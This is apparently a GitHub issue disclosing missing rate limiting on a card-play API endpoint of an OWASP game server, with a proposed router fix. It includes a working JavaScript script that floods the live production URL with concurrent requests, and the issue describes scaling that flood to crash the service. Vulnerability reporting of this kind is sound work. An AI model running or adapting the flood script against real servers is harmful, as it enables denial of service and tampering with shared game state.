-
-
Notifications
You must be signed in to change notification settings - Fork 83
Description
Describe the bug (watch the full video)
The API endpoint PUT /api/games/:game_id/players/:player_id/card (play_card action) has no rate limiting protection. Testing shows 100 simultaneous requests are all processed, with 29 succeeding and 71 returning 406 errors. This creates a resource exhaustion vulnerability where attackers can flood the database with concurrent operations and disrupt game state integrity.
Expected behavior
API should implement rate limiting to reject excessive requests with HTTP 429 status after a reasonable threshold (e.g., 10 requests per minute per IP). Only the first valid request should succeed; subsequent duplicate requests should be blocked before database operations.
Video Demo
2026-03-07.20-08-44.mp4
Desktop (please complete the following information):
OS: Any (tested on Windows)
Browser: Chrome, Firefox, Safari
Version: Latest
Additional context
- Vulnerability confirmed via browser console attack script
- Each request triggers database queries and game state updates
- Race conditions allow multiple successful card plays (29% success rate)
- WebSocket broadcasts triggered for each successful play
- Production server vulnerable to DoS attacks
- Fix: Add RateLimiterPlug to :api pipeline in router.ex
Worst-Case Scenario
- Complete Service Outage
- Attacker launches 10,000 concurrent requests
- Database connection pool exhausted
- Server crashes under load
- Service requires manual restart
Script Used
// More sophisticated attack with timing
const attack = {
gameId: "01KK4ANZFV6XMR14VX7R1X6T55",
playerId: "01KK4APC64N6Z5B346S960XTQJ",
cardId: "47369",
async sendRequest(requestNum) {
try {
const response = await fetch(`https://copi.owasp.org/api/games/${this.gameId}/players/${this.playerId}/card`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ dealt_card_id: this.cardId })
});
console.log(`Request ${requestNum}: ${response.status} ${response.statusText}`);
return response.status;
} catch (error) {
console.error(`Request ${requestNum} failed:`, error);
return 'ERROR';
}
},
async launchAttack(count = 100) {
console.log(`🚀 Starting attack with ${count} requests...`);
const promises = [];
for (let i = 1; i <= count; i++) {
promises.push(this.sendRequest(i));
}
const results = await Promise.all(promises);
// Summary
const success = results.filter(r => r === 200).length;
const conflict = results.filter(r => r === 409).length;
const notFound = results.filter(r => r === 404).length;
console.log(`✅ Attack Complete!`);
console.log(`📊 Results: ${success} success, ${conflict} conflicts, ${notFound} not found`);
}
};
// Launch the attack
attack.launchAttack(100);